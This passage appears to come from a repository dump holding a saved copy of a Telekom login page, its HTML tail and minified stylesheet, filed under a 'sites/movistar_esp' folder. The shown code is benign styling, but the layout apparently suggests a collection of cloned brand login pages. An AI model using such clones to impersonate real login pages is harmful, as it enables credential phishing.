     <!-- Status -->\r\n        <script>\r\n            var accountLocked = false;\r\n            var accountLockedPermanent = false;\r\n            var accountLockExpiration = 0;\r\n        </script>\r\n\r\n        <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->\r\n        <!--[if lt IE 9]>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/html5shiv.js\"></script>\r\n        <script type=\"text/javascript\" src=\"/static/vdplus/js/respond.min.js\"></script>\r\n        <![endif]-->\r\n\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/jquery-1.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/components.js\"></script>\r\n        <script type=\"text/javascript\" src=\"Telekom%20Login-Dateien/login.js\"></script>\r\n\r\n        <!-- Tracking -->\r\n        <!-- Callback Tracking -->\r\n\r\n\r\n        <!-- Toon Template Debugging -->\r\n\r\n\r\n\r\n\r\n\r\n</body><!-- /BODY --></html>\r\n"
  },
  {
    "path": "sites/movistar_esp/styles/components.css",
    "content": "/*! components 2015-04-20 */\n\n.t-html-cc-ver{content:\"Telekom HTML Code Components v2.0\"}@font-face{font-family:'TeleIconUi';src:url(\"../fonts/telekomicon-ui.eot\");src:url(\"../fonts/telekomicon-ui.eot?#iefix\") format(\"embedded-opentype\"),url(\"../fonts/telekomicon-ui.woff\") format(\"woff\"),url(\"../fonts/telekomicon-ui.ttf\") format(\"truetype\"),url(\"../fonts/telekomicon-ui.svg#telekomicon-ui\") format(\"svg\");font-weight:normal;font-style:normal}@media screen and (-webkit-min-device-pixel-ratio: 0){@font-face{font-family:'TeleIconUi';src:url(\"../fonts/telekomicon-ui.svg#telekomicon-ui\") format(\"svg\")}}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:200;src:url(\"../fonts/telegroteskscreen-thin.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-thin.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-thin.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-thin.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-thin.svg#telegroteskscreen-thin\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:400;src:url(\"../fonts/telegroteskscreen-regular.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-regular.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-regular.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-regular.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-regular.svg#telegroteskscreen-regular\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:italic;font-weight:400;src:url(\"../fonts/telegroteskscreen-regular-italic.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-regular-italic.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-regular-italic.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-regular-italic.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-regular-italic.svg#telegroteskscreen-regular-italic\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:600;src:url(\"../fonts/telegroteskscreen-medium.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-medium.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-medium.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-medium.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-medium.svg#telegroteskscreen-medium\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:italic;font-weight:600;src:url(\"../fonts/telegroteskscreen-medium-italic.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-medium-italic.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-medium-italic.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-medium-italic.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-medium-italic.svg#telegroteskscreen-medium-italic\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:700;src:url(\"../fonts/telegroteskscreen-bold.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-bold.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-bold.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-bold.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-bold.svg#telegroteskscreen-bold\") format(\"svg\")}@font-face{font-family:\"TeleGroteskScreen\";font-style:normal;font-weight:800;src:url(\"../fonts/telegroteskscreen-ultra.eot?#iefix\");src:url(\"../fonts/telegroteskscreen-ultra.eot?#iefix\") format(\"eot\"),url(\"../fonts/telegroteskscreen-ultra.woff\") format(\"woff\"),url(\"../fonts/telegroteskscreen-ultra.ttf\") format(\"truetype\"),url(\"../fonts/telegroteskscreen-ultra.svg#telegroteskscreen-ultra\") format(\"svg\")}/*! normalize.css v3.0.0 | MIT License | git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type=\"button\"],input[type=\"reset\"],input[type=\"submit\"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type=\"checkbox\"],input[type=\"radio\"]{box-sizing:border-box;padding:0}input[type=\"number\"]::-webkit-inner-spin-button,input[type=\"number\"]::-webkit-outer-spin-button{height:auto}input[type=\"search\"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=\"search\"]::-webkit-search-cancel-button,input[type=\"search\"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}@font-face{font-family:'Telekom-Icon';font-style:normal;font-weight:400;src:url(\"../fonts/telekomicon-outline.eot\");src:url(\"../fonts/telekomicon-outline.eot?#iefix\") format(\"embedded-opentype\"),url(\"../fonts/telekomicon-outline.woff\") format(\"woff\"),url(\"../fonts/telekomicon-outline.ttf\") format(\"truetype\"),url(\"../fonts/telekomicon-outline.svg#telekomicon-outline\") format(\"svg\")}@font-face{font-family:'Telekom-Icon';font-style:normal;font-weight:700;src:url(\"../fonts/telekomicon-solid.eot\");src:url(\"../fonts/telekomicon-solid?#iefix\") format(\"embedded-opentype\"),url(\"../fonts/telekomicon-solid.woff\") format(\"woff\"),url(\"../fonts/telekomicon-solid.ttf\") format(\"truetype\"),url(\"../fonts/telekomicon-solid.svg#telekomicon-solid\") format(\"svg\")}.icon{position:relative;bottom:2px;vertical-align:middle;display:inline-block;font-family:'Telekom-Icon';font-style:normal;font-weight:normal;line-height:1;text-transform:none !important;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.icon-solid{font-weight:700}.icon-large{font-size:36px}.icon-warning:before{content:'\\21'}.icon-navigation-up:before{content:'\\22'}.icon-navigation-down:before{content:'\\24'}.icon-navigation-left:before{content:'\\25'}.icon-export:before{content:'\\26'}.icon-import:before{content:'\\28'}.icon-scroll-left:before{content:'\\29'}.icon-favorites:before{content:'\\2a'}.icon-add:before{content:'\\2b'}.icon-decrease:before{content:'\\2d'}.icon-record:before{content:'\\3b'}.icon-scroll-right:before{content:'\\2f'}.icon-tile-view:before{content:'\\30'}.icon-skip-to-start:before{content:'\\31'}.icon-previous:before{content:'\\32'}.icon-rewind:before{content:'\\33'}.icon-play:before{content:'\\34'}.icon-pause:before{content:'\\35'}.icon-stop:before{content:'\\36'}.icon-fast-forward:before{content:'\\37'}.icon-next:before{content:'\\38'}.icon-skip-to-end:before{content:'\\39'}.icon-more:before{content:'\\3a'}.icon-help_2:before{content:'\\3c'}.icon-list-view:before{content:'\\3d'}.icon-information_2:before{content:'\\3e'}.icon-help:before{content:'\\3f'}.icon-calendar:before{content:'\\41'}.icon-shopping-cart:before{content:'\\42'}.icon-copy:before{content:'\\43'}.icon-move-to-trash:before{content:'\\44'}.icon-tablet-pc:before{content:'\\45'}.icon-folder:before{content:'\\46'}.icon-filter:before{content:'\\47'}.icon-login:before{content:'\\48'}.icon-comment:before{content:'\\49'}.icon-start-call:before{content:'\\4a'}.icon-speaker-off:before{content:'\\4b'}.icon-lock:before{content:'\\4c'}.icon-microphone-socket:before{content:'\\4d'}.icon-ringtone-off:before{content:'\\4e'}.icon-clock:before{content:'\\4f'}.icon-add-to-watchlist:before{content:'\\50'}.icon-computer:before{content:'\\51'}.icon-iptv:before{content:'\\52'}.icon-settings:before{content:'\\53'}.icon-digits:before{content:'\\54'}.icon-my-profile:before{content:'\\55'}.icon-confirm:before{content:'\\56'}.icon-smartphone:before{content:'\\57'}.icon-cancel:before{content:'\\58'}.icon-cloud:before{content:'\\59'}.icon-zoom-out:before{content:'\\5a'}.icon-attachment:before{content:'\\61'}.icon-bookmark:before{content:'\\62'}.icon-context-menu:before{content:'\\63'}.icon-download:before{content:'\\64'}.icon-edit:before{content:'\\65'}.icon-file:before{content:'\\66'}.icon-reload:before{content:'\\67'}.icon-home:before{content:'\\68'}.icon-information:before{content:'\\69'}.icon-end-call:before{content:'\\6a'}.icon-speaker-on:before{content:'\\6b'}.icon-link:before{content:'\\6c'}.icon-message:before{content:'\\6d'}.icon-ringtone-on:before{content:'\\6e'}.icon-loading-indicator:before{content:'\\6f'}.icon-print:before{content:'\\70'}.icon-search:before{content:'\\71'}.icon-reply:before{content:'\\72'}.icon-synchronize:before{content:'\\73'}.icon-telekom-1T1:before{content:'\\74'}.icon-upload:before{content:'\\75'}.icon-success:before{content:'\\76'}.icon-forward:before{content:'\\77'}.icon-error:before{content:'\\78'}.icon-share:before{content:'\\79'}.icon-zoom-in:before{content:'\\7a'}.icon-navigation-right:before{content:'\\a7'}.icon-maximize:before{content:'\\dc'}.icon-cover-view:before{content:'\\df'}.icon-warning_2:before{content:'\\e4'}.icon-minimize:before{content:'\\fc'}.icon-frame{width:48px;height:48px;text-align:center;white-space:nowrap;padding:0}.icon-frame:before{content:'';display:inline-block;height:100%;vertical-align:middle}.icon-frame>.icon{display:inline-block;height:auto;vertical-align:middle}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:transparent}body{color:#383838;font-family:\"TeleGroteskScreen\",\"Helvetica Neue\",Helvetica,Arial,sans-serif;font-size:18px;line-height:1.25}a{color:#0090c4;text-decoration:none}a:focus{color:#00688e;text-decoration:underline;outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}a:hover{color:#0082b2;text-decoration:underline}a:active{color:#00739d}hr{margin-top:23px;margin-bottom:23px;border:0;border-top:1px solid #dcdcdc}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}.container-liquid,.container-fixed{display:block;width:100%;clear:both}.container-liquid:before,.container-liquid:after,.container-fixed:before,.container-fixed:after{content:' ';display:table}.container-liquid:after,.container-fixed:after{clear:both}.container-fixed.left{margin-left:0;margin-right:auto;float:left}.container-fixed,.container-fixed.center{margin-left:auto;margin-right:auto}.container-fixed.right{margin-left:auto;margin-right:0;float:right}@media screen and (min-width: 1024px) and (max-width: 1499px){.container-fixed{width:1009px}}@media screen and (min-width: 1500px){.container-fixed{width:1297px}}.row{margin-left:0;margin-right:0}.row:before,.row:after{content:' ';display:table}.row:after{clear:both}.row .row{margin-left:-12px;margin-right:-12px}.col-l-1,.col-l-2,.col-l-3,.col-l-4,.col-l-5,.col-l-6,.col-l-7,.col-l-8,.col-l-9,.col-l-10,.col-l-11,.col-l-12,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-m-1,.col-m-2,.col-m-3,.col-m-4,.col-m-5,.col-m-6,.col-m-7,.col-m-8,.col-m-9,.col-m-10,.col-m-11,.col-m-12,.col-s-1,.col-s-2,.col-s-3,.col-s-4,.col-s-5,.col-s-6,.col-s-7,.col-s-8,.col-s-9,.col-s-10,.col-s-11,.col-s-12,.col-xs-1,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9,.col-xs-10,.col-xs-11,.col-xs-12{padding-left:12px;padding-right:12px;position:relative;float:left;min-height:1px}.col-l-1{width:8.33334%}.col-l-2{width:16.66668%}.col-l-3{width:25.00001%}.col-l-4{width:33.33334%}.col-l-5{width:41.66668%}.col-l-6{width:50.00001%}.col-l-7{width:58.33334%}.col-l-8{width:66.66668%}.col-l-9{width:75.00001%}.col-l-10{width:83.33334%}.col-l-11{width:91.66668%}.col-l-12{width:100.00001%}.offset-l-0{margin-left:0}.offset-l-1{margin-left:8.33333%}.offset-l-2{margin-left:16.66667%}.offset-l-3{margin-left:25%}.offset-l-4{margin-left:33.33333%}.offset-l-5{margin-left:41.66667%}.offset-l-6{margin-left:50%}.offset-l-7{margin-left:58.33333%}.offset-l-8{margin-left:66.66667%}.offset-l-9{margin-left:75%}.offset-l-10{margin-left:83.33333%}.offset-l-11{margin-left:91.66667%}@media screen and (min-width: 1500px){.col-xl-1{width:8.33334%}.col-xl-2{width:16.66668%}.col-xl-3{width:25.00001%}.col-xl-4{width:33.33334%}.col-xl-5{width:41.66668%}.col-xl-6{width:50.00001%}.col-xl-7{width:58.33334%}.col-xl-8{width:66.66668%}.col-xl-9{width:75.00001%}.col-xl-10{width:83.33334%}.col-xl-11{width:91.66668%}.col-xl-12{width:100.00001%}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333%}.offset-xl-2{margin-left:16.66667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333%}.offset-xl-5{margin-left:41.66667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333%}.offset-xl-8{margin-left:66.66667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333%}.offset-xl-11{margin-left:91.66667%}}@media screen and (max-width: 1023px){.col-m-1{width:8.33334%}.col-m-2{width:16.66668%}.col-m-3{width:25.00001%}.col-m-4{width:33.33334%}.col-m-5{width:41.66668%}.col-m-6{width:50.00001%}.col-m-7{width:58.33334%}.col-m-8{width:66.66668%}.col-m-9{width:75.00001%}.col-m-10{width:83.33334%}.col-m-11{width:91.66668%}.col-m-12{width:100.00001%}.offset-m-0{margin-left:0}.offset-m-1{margin-left:8.33333%}.offset-m-2{margin-left:16.66667%}.offset-m-3{margin-left:25%}.offset-m-4{margin-left:33.33333%}.offset-m-5{margin-left:41.66667%}.offset-m-6{margin-left:50%}.offset-m-7{margin-left:58.33333%}.offset-m-8{margin-left:66.66667%}.offset-m-9{margin-left:75%}.offset-m-10{margin-left:83.33333%}.offset-m-11{margin-left:91.66667%}}@media screen and (max-width: 639px){.col-s-1{width:8.33334%}.col-s-2{width:16.66668%}.col-s-3{width:25.00001%}.col-s-4{width:33.33334%}.col-s-5{width:41.66668%}.col-s-6{width:50.00001%}.col-s-7{width:58.33334%}.col-s-8{width:66.66668%}.col-s-9{width:75.00001%}.col-s-10{width:83.33334%}.col-s-11{width:91.66668%}.col-s-12{width:100.00001%}.offset-s-0{margin-left:0}.offset-s-1{margin-left:8.33333%}.offset-s-2{margin-left:16.66667%}.offset-s-3{margin-left:25%}.offset-s-4{margin-left:33.33333%}.offset-s-5{margin-left:41.66667%}.offset-s-6{margin-left:50%}.offset-s-7{margin-left:58.33333%}.offset-s-8{margin-left:66.66667%}.offset-s-9{margin-left:75%}.offset-s-10{margin-left:83.33333%}.offset-s-11{margin-left:91.66667%}}@media screen and (max-width: 319px){.col-xs-1{width:8.33334%}.col-xs-2{width:16.66668%}.col-xs-3{width:25.00001%}.col-xs-4{width:33.33334%}.col-xs-5{width:41.66668%}.col-xs-6{width:50.00001%}.col-xs-7{width:58.33334%}.col-xs-8{width:66.66668%}.col-xs-9{width:75.00001%}.col-xs-10{width:83.33334%}.col-xs-11{width:91.66668%}.col-xs-12{width:100.00001%}.offset-xs-0{margin-left:0}.offset-xs-1{margin-left:8.33333%}.offset-xs-2{margin-left:16.66667%}.offset-xs-3{margin-left:25%}.offset-xs-4{margin-left:33.33333%}.offset-xs-5{margin-left:41.66667%}.offset-xs-6{margin-left:50%}.offset-xs-7{margin-left:58.33333%}.offset-xs-8{margin-left:66.66667%}.offset-xs-9{margin-left:75%}.offset-xs-10{margin-left:83.33333%}.offset-xs-11{margin-left:91.66667%}}.col-hide{display:none !important}@media screen and (min-width: 1024px) and (max-width: 1499px){.col-l-hide{display:none !important}}@media screen and (min-width: 1500), screen and (max-width: 1023px){.col-l-show{display:none !important}}@media screen and (min-width: 1500px){.col-xl-hide{display:none !important}}@media screen and (max-width: 1499px){.col-xl-show{display:none !important}}@media screen and (min-width: 640px) and (max-width: 1023px){.col-m-hide{display:none !important}}@media screen and (max-width: 639px), screen and (min-width: 1024px){.col-m-show{display:none !important}}@media screen and (min-width: 320px) and (max-width: 639px){.col-s-hide{display:none !important}}@media screen and (max-width: 319px), screen and (min-width: 640px){.col-s-show{display:none !important}}@media screen and (max-width: 319px){.col-xs-hide{display:none !important}}@media screen and (min-width: 320px){.col-xs-show{display:none !important}}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{font-weight:normal;margin:0}h1.brand,h2.brand,h3.brand,h4.brand,h5.brand,h6.brand,.h1.brand,.h2.brand,.h3.brand,.h4.brand,.h5.brand,.h6.brand{font-weight:800;text-transform:uppercase}h1.underline,h1.cluster,h2.underline,h2.cluster,h3.underline,h3.cluster,h4.underline,h4.cluster,h5.underline,h5.cluster,h6.underline,h6.cluster,.h1.underline,.h1.cluster,.h2.underline,.h2.cluster,.h3.underline,.h3.cluster,.h4.underline,.h4.cluster,.h5.underline,.h5.cluster,.h6.underline,.h6.cluster{padding-left:12px;padding-right:12px;border-bottom:1px solid #b2b2b2}h1.underline,h2.underline,h3.underline,h4.underline,h5.underline,h6.underline,.h1.underline,.h2.underline,.h3.underline,.h4.underline,.h5.underline,.h6.underline{text-align:center}h1.cluster,h2.cluster,h3.cluster,h4.cluster,h5.cluster,h6.cluster,.h1.cluster,.h2.cluster,.h3.cluster,.h4.cluster,.h5.cluster,.h6.cluster{color:#757575}h1.thin,h2.thin,h3.thin,h4.thin,h5.thin,h6.thin,.h1.thin,.h2.thin,.h3.thin,.h4.thin,.h5.thin,.h6.thin{font-weight:200}h1.marketing-l,h2.marketing-l,h3.marketing-l,h4.marketing-l,h5.marketing-l,h6.marketing-l,.h1.marketing-l,.h2.marketing-l,.h3.marketing-l,.h4.marketing-l,.h5.marketing-l,.h6.marketing-l{font-size:48px;margin-top:11.4px;padding-bottom:-3.36px;font-weight:200}h1.marketing-l.underline,h1.marketing-l.cluster,h2.marketing-l.underline,h2.marketing-l.cluster,h3.marketing-l.underline,h3.marketing-l.cluster,h4.marketing-l.underline,h4.marketing-l.cluster,h5.marketing-l.underline,h5.marketing-l.cluster,h6.marketing-l.underline,h6.marketing-l.cluster,.h1.marketing-l.underline,.h1.marketing-l.cluster,.h2.marketing-l.underline,.h2.marketing-l.cluster,.h3.marketing-l.underline,.h3.marketing-l.cluster,.h4.marketing-l.underline,.h4.marketing-l.cluster,.h5.marketing-l.underline,.h5.marketing-l.cluster,.h6.marketing-l.underline,.h6.marketing-l.cluster{margin-top:42.4px}h1.marketing-xl,h2.marketing-xl,h3.marketing-xl,h4.marketing-xl,h5.marketing-xl,h6.marketing-xl,.h1.marketing-xl,.h2.marketing-xl,.h3.marketing-xl,.h4.marketing-xl,.h5.marketing-xl,.h6.marketing-xl{font-size:60px;margin-top:8.25px;padding-bottom:-7.2px;font-weight:200}h1.marketing-xl.underline,h1.marketing-xl.cluster,h2.marketing-xl.underline,h2.marketing-xl.cluster,h3.marketing-xl.underline,h3.marketing-xl.cluster,h4.marketing-xl.underline,h4.marketing-xl.cluster,h5.marketing-xl.underline,h5.marketing-xl.cluster,h6.marketing-xl.underline,h6.marketing-xl.cluster,.h1.marketing-xl.underline,.h1.marketing-xl.cluster,.h2.marketing-xl.underline,.h2.marketing-xl.cluster,.h3.marketing-xl.underline,.h3.marketing-xl.cluster,.h4.marketing-xl.underline,.h4.marketing-xl.cluster,.h5.marketing-xl.underline,.h5.marketing-xl.cluster,.h6.marketing-xl.underline,.h6.marketing-xl.cluster{margin-top:39.25px}h1 small,h1 .small,h2 small,h2 .small,h3 small,h3 .small,h4 small,h4 .small,h5 small,h5 .small,h6 small,h6 .small,.h1 small,.h1 .small,.h2 small,.h2 .small,.h3 small,.h3 .small,.h4 small,.h4 .small,.h5 small,.h5 .small,.h6 small,.h6 .small{color:#757575;font-size:84%}h1,.h1{font-size:36px;margin-top:14.55px;padding-bottom:0.48px}h1.underline,h1.cluster,.h1.underline,.h1.cluster{margin-top:45.55px}h2,.h2{font-size:27px;margin-top:16.9125px;padding-bottom:3.36px}h2.underline,h2.cluster,.h2.underline,.h2.cluster{margin-top:47.9125px}h3,.h3{font-size:24px;margin-top:17.7px;padding-bottom:4.32px}h3.underline,h3.cluster,.h3.underline,.h3.cluster{margin-top:48.7px}h4,.h4{font-size:21px;margin-top:18.4875px;padding-bottom:5.28px}h4.underline,h4.cluster,.h4.underline,.h4.cluster{margin-top:49.4875px}h5,.h5{font-size:18px;margin-top:19.275px;padding-bottom:6.24px}h5.underline,h5.cluster,.h5.underline,.h5.cluster{margin-top:50.275px}h6,.h6{font-size:15px;margin-top:20.0625px;padding-bottom:7.2px}h6.underline,h6.cluster,.h6.underline,.h6.cluster{margin-top:51.0625px}p{margin:0;padding-top:7.275px;padding-bottom:6.24px}p.text-xsmall{padding-top:8.325px;padding-bottom:7.52px}p.text-small{padding-top:8.0625px;padding-bottom:7.2px}p.text-large{padding-top:6.4875px;padding-bottom:5.28px}p.text-xlarge{padding-top:5.7px;padding-bottom:4.32px}small,.text-xsmall{font-size:14px}.text-small{font-size:15px}.text-large{font-size:21px}.text-xlarge{font-size:24px}.text-xxlarge{font-size:27px}.text-xxxlarge{font-size:27px}.text-marketing-l{font-size:48px;margin-top:11.4px;padding-bottom:-3.36px;font-weight:200}.text-marketing-l.underline,.text-marketing-l.cluster{margin-top:42.4px}.text-marketing-xl{font-size:60px;margin-top:8.25px;padding-bottom:-7.2px;font-weight:200}.text-marketing-xl.underline,.text-marketing-xl.cluster{margin-top:39.25px}.text-thin{font-weight:200}.text-semibold{font-weight:600}.text-strong,.text-bold{font-weight:bold}.text-emphased,.text-italic{font-style:italic}dfn,abbr,abbr[title]{background-image:url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAACCAYAAAB/qH1jAAAAGElEQVQIW2O0O/DhPwMQHHIQYATRjOgCAKclCAMmY8YrAAAAAElFTkSuQmCC\");background-position:0 1em;background-repeat:repeat-x;background-size:2px 1px;border-bottom:0;font-style:inherit;cursor:help}mark{background-color:#ff0;color:#383838;padding:0 0.25em}.text-positive{color:#6bb324}.text-positive mark{color:#fff;background-color:#6bb324}.text-warning{color:#dbad39}.text-warning mark{color:#fff;background-color:#dbad39}.text-negative{color:#d90000}.text-negative mark{color:#fff;background-color:#d90000}.text-brand{color:#e20074}.text-brand mark{color:#fff;background-color:#e20074}.text-inactive{color:#e5e5e5}.text-inactive mark{color:#fff;background-color:#e5e5e5}.list-unordered,.list-unordered-plain{list-style:none;margin:12px 0 0 0;padding:0 0 0 18px}.list-unordered>li:before,.list-unordered-plain>li:before{content:'\\2013';padding-right:12px}.list-unordered .list-ordered,.list-unordered .list-unordered,.list-unordered .list-unordered-plain,.list-unordered-plain .list-ordered,.list-unordered-plain .list-unordered,.list-unordered-plain .list-unordered-plain{margin-top:0}.list-unordered-bullet>li:before{content:'\\25AA'}.list-unordered-plain>li:before{content:none;padding-right:0}.list-ordered{list-style:none;margin:12px 0 0 0;padding:0 0 0 20px;counter-reset:list-index}.list-ordered>li{counter-increment:list-index}.list-ordered[reversed]>li{counter-increment:list-index-1}.list-ordered>li:before{content:counters(list-index,\".\") \"\";padding-right:12px}.list-ordered .list-ordered,.list-ordered .list-unordered{margin-top:0}.list-ordered-semibold>li:before{font-weight:600}.list-desc{margin-top:0}.list-desc>dd{margin-left:0;padding-bottom:6.24px}.list-desc-horizontal:before,.list-desc-horizontal:after{content:' ';display:table}.list-desc-horizontal:after{clear:both}.list-desc-horizontal>dt{text-align:left;font-weight:600}.list-desc-horizontal>dd{margin:0;padding-bottom:6.24px}@media (min-width: 640px){.list-desc-horizontal>dt{clear:left;float:left;text-align:right;width:148px;font-weight:normal}.list-desc-horizontal>dd{margin-left:160px;padding-bottom:0}}.list-desc-semibold>dt{font-weight:600}.price{margin:0;padding:0;vertical-align:baseline;display:inline-block;font-size:27px}.price>sup{line-height:1.25;display:inline-block;vertical-align:top}.price>sup{font-size:18px;top:2px}.price-large{font-size:30px}.price-large>sup{font-size:20px;top:1px}.price-xlarge{font-size:36px}.price-xlarge>sup{font-size:24px;top:2px}.price-expired{font-size:28px}.price-expired>sup{font-size:28px}.quote{font-size:18px;font-style:italic;margin:0;padding:0}.quote-author{font-size:15px;font-style:normal;font-weight:bold;margin:0;margin-top:0.25em;padding:0}.quote-author cite{font-style:normal}.figure{font-size:18px;margin:12px 0 0 0;padding:0 0 0 12px;border-left:1px solid #dcdcdc}.quote-list{list-style:none;padding-left:24px}.quote-list .quote-list-item{border-left:1px solid #dcdcdc;padding:0 0 0 12px}.quote-list .quote-list-item .figure{border-left:0;padding-left:0}.quote-list .quote-list-item *.quote-list{padding-left:12px}address{font-style:normal}.address-header small,.address-body,.address-footer{font-size:84%}.address-header,.address-body,.address-footer{margin:0;padding:0}.address-header+.address-body,.address-body+.address-footer{margin-top:0.25em}.address-header{font-weight:bold}.address-footer label{min-width:40px}.text-left{text-align:left}.text-center{text-align:center}.text-right{text-align:right}.text-l-left{text-align:left}.text-l-center{text-align:center}.text-l-right{text-align:right}@media screen and (max-width: 1023px){.text-m-left{text-align:left}.text-m-center{text-align:center}.text-m-right{text-align:right}}@media screen and (max-width: 639px){.text-s-left{text-align:left}.text-s-center{text-align:center}.text-s-right{text-align:right}}@media screen and (min-width: 1500px){.text-xl-left{text-align:left}.text-xl-center{text-align:center}.text-xl-right{text-align:right}}.text-nowrap{white-space:nowrap}.text-ellipsis{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.img-round{border-radius:50%;vertical-align:bottom}.img-thumbnail{max-width:100%;max-height:100%;height:auto;padding:2px;border:1px solid #b2b2b2;background:#fff}.img-frame{width:48px;height:48px;text-align:center;white-space:nowrap;padding:0}.img-frame:before{content:'';display:inline-block;height:100%;vertical-align:middle}.img-frame>img{display:inline-block;height:auto;vertical-align:middle}.img-frame-small{width:38px;height:38px}.img-vignette-square{display:inline-block}.img-vignette-square>img{outline:1px solid rgba(0,0,0,0.3);outline-offset:-1px;padding:.5px}.table{width:100%}.table>thead>tr>th,.table>thead>tr>td,.table>tbody>tr>th,.table>tbody>tr>td,.table>tfoot>tr>th,.table>tfoot>tr>td{padding:6px 11px;vertical-align:top;border-bottom:1px solid #dcdcdc}.table>thead>tr>th.numeric,.table>thead>tr>td.numeric,.table>tbody>tr>th.numeric,.table>tbody>tr>td.numeric,.table>tfoot>tr>th.numeric,.table>tfoot>tr>td.numeric{text-align:right}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th{text-align:left}.table>thead>tr>th,.table>tfoot>tr>th{font-weight:600}.table>thead>tr>th{border-bottom:1px solid #b2b2b2;border-top:0;vertical-align:bottom}.table>tfoot>tr>th{border-top:1px double #b2b2b2;border-bottom:1px solid #b2b2b2}.table>caption{text-align:left;font-size:24px;padding:6px 11px;border-bottom:1px solid #b2b2b2;margin-bottom:12px}.table-hover>tbody>tr>th,.table-hover>tbody>tr>td{-webkit-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-moz-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-ms-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);-o-transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 0.95);transition:all 150ms cubic-bezier(0.445, 0.05, 0.55, 